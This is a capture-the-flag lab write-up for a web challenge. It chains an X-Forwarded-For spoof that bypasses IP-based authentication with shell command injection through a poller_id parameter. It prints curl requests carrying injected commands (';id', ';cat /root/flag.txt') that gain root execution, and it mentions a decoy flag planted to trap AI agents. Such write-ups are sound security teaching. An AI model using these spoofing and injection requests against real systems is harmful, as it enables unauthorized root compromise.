Lab 322 — NetPulse — IP Spoofing to RCE via Polling Agent API
Lab 322 — NetPulse — IP Spoofing to RCE via Polling Agent API
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-03 | Status: Solved Techniques: command_injection_via_unsanitized_parameter, honeypot_flag_detection, internal_api_abuse, ip_based_authentication_bypass, ip_spoofing_via_x_forwarded_for_header, script_data_source_exploitation
Summary
Task: NetPulse monitoring platform with internal Agent API protected by IP-based authentication behind nginx; script-type data sources execute shell commands with unsanitized parameters. Solution: spoof source IP via X-Forwarded-For: 127.0.0.1 to access agent API, then inject OS commands through poller_id parameter in script data source execution to read /root/flag.txt.
Lab 322 — NetPulse — IP Spoofing to RCE via Polling Agent API — HackAdvisor
Description
NetPulse is an infrastructure monitoring platform built by PulseMetrics Inc. It provides real-time device monitoring, uptime tracking, performance graphing, and alerting for network devices and servers. The platform includes a web dashboard for viewing metrics and managing monitored infrastructure, along with an agent-based polling system for data collection. Polling agents communicate with the server through an internal API to submit and retrieve monitoring data. The goal is to find and exploit vulnerabilities in the platform to read the flag file stored on the server.
Target: https://efd1b17f-37fa-4d7c-9100-84466009f385.labs.hackadvisor.io/ Credentials: user@test.com / password123 Tech Stack: Express.js (Node.js), nginx/1.25.5
English summary: NetPulse is a Node.js/Express monitoring platform behind nginx. It has a web dashboard for device monitoring and an internal Agent API (/api/agent/polldata) used by polling agents to collect data. The API uses IP-based authentication — only requests from registered poller IPs (127.0.0.1, 10.1.0.50) are allowed. Because nginx passes X-Forwarded-For to Express which trusts it for client IP determination, the IP check can be spoofed. Script-type data sources (action_type: 2) execute shell commands with user-supplied parameters interpolated without sanitization, leading to command injection and RCE.
Analysis
Reconnaissance
After logging in with user@test.com / password123, explored the application:
-
Dashboard (
/) — Infrastructure monitoring overview showing 10 monitored devices with status, alerts, and performance metrics. -
Devices (
/devices) — List of monitored network devices and servers with SNMP, ICMP, and Script data sources. -
Alerts (
/alerts) — Alert history for monitored infrastructure. -
Pollers (
/pollers) — Documents the internal Agent API and lists registered polling agents:- Poller #1: "Local Poller (default)" — IP: 127.0.0.1, active
- Poller #2: "DC-West Poller" — IP: 10.1.0.50, inactive
-
Settings (
/settings) — Read-only for non-admin users. Current user: "Sarah Rivera" (operator role). -
Decoy Flag —
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}embedded in hidden HTML comments and off-screen divs on every page — a honeypot designed to trick automated scanners and AI agents. Correctly identified and ignored.
Agent API Documentation (from /pollers page)
- Endpoint:
GET /api/agent/polldata - Authorization: IP-based — requests must originate from an IP matching a registered poller
- Parameters:
action— status or polldatahost_id— target device IDlocal_data_ids[]— data source IDs to pollpoller_id— poller identifier
Vulnerability Chain
-
IP Spoofing: nginx passes
X-Forwarded-Forheader to Express, which trusts it for determining client IP. AddingX-Forwarded-For: 127.0.0.1bypasses the IP-based authentication. -
Command Injection: Script-type data sources (action_type: 2) execute shell commands like
/usr/local/bin/check_metrics.sh --host 10.0.20.5 --poller-id <poller_id>. Thepoller_idparameter is interpolated directly into the command string without sanitization, allowing shell metacharacter injection.
Solution
Step 1: IP Spoofing to Access Agent API
Verified that adding X-Forwarded-For: 127.0.0.1 grants access to the internal API:
bash read-only • copy allowedcurl -s "https://TARGET/api/agent/polldata?action=status&poller_id=1" \ -H "X-Forwarded-For: 127.0.0.1" # Response: {"status":"ok","poller":"Local Poller (default)",...}
No authentication cookies needed — the API only checks the source IP.
Step 2: Discover Script Data Source
Device 5 (Database Master, db-master.pulsemetrics.net) has a script-type data source:
- Data source #12: Script (action_type: 2) — "Script metrics - Database Master"
- Executes:
/usr/local/bin/check_metrics.sh --host 10.0.20.5 --poller-id 1
bash read-only • copy allowedcurl -s "https://TARGET/api/agent/polldata?action=polldata&host_id=5&local_data_ids[]=12&poller_id=1" \ -H "X-Forwarded-For: 127.0.0.1" # Response shows script execution attempt (script not found but mechanism is active)
Step 3: Command Injection via poller_id
The poller_id value is concatenated into the shell command without sanitization. Using shell metacharacters (;) to inject additional commands:
bash read-only • copy allowed# Verify RCE curl -s "https://TARGET/api/agent/polldata?action=polldata&host_id=5&local_data_ids[]=12&poller_id=1;id" \ -H "X-Forwarded-For: 127.0.0.1" # Response: uid=0(root) gid=0(root) groups=0(root),...
Step 4: Extract Flag
bash read-only • copy allowedcurl -s "https://TARGET/api/agent/polldata?action=polldata&host_id=5&local_data_ids[]=12&poller_id=1;cat+/root/flag.txt" \ -H "X-Forwarded-For: 127.0.0.1" # Response: FLAG{REDACTED}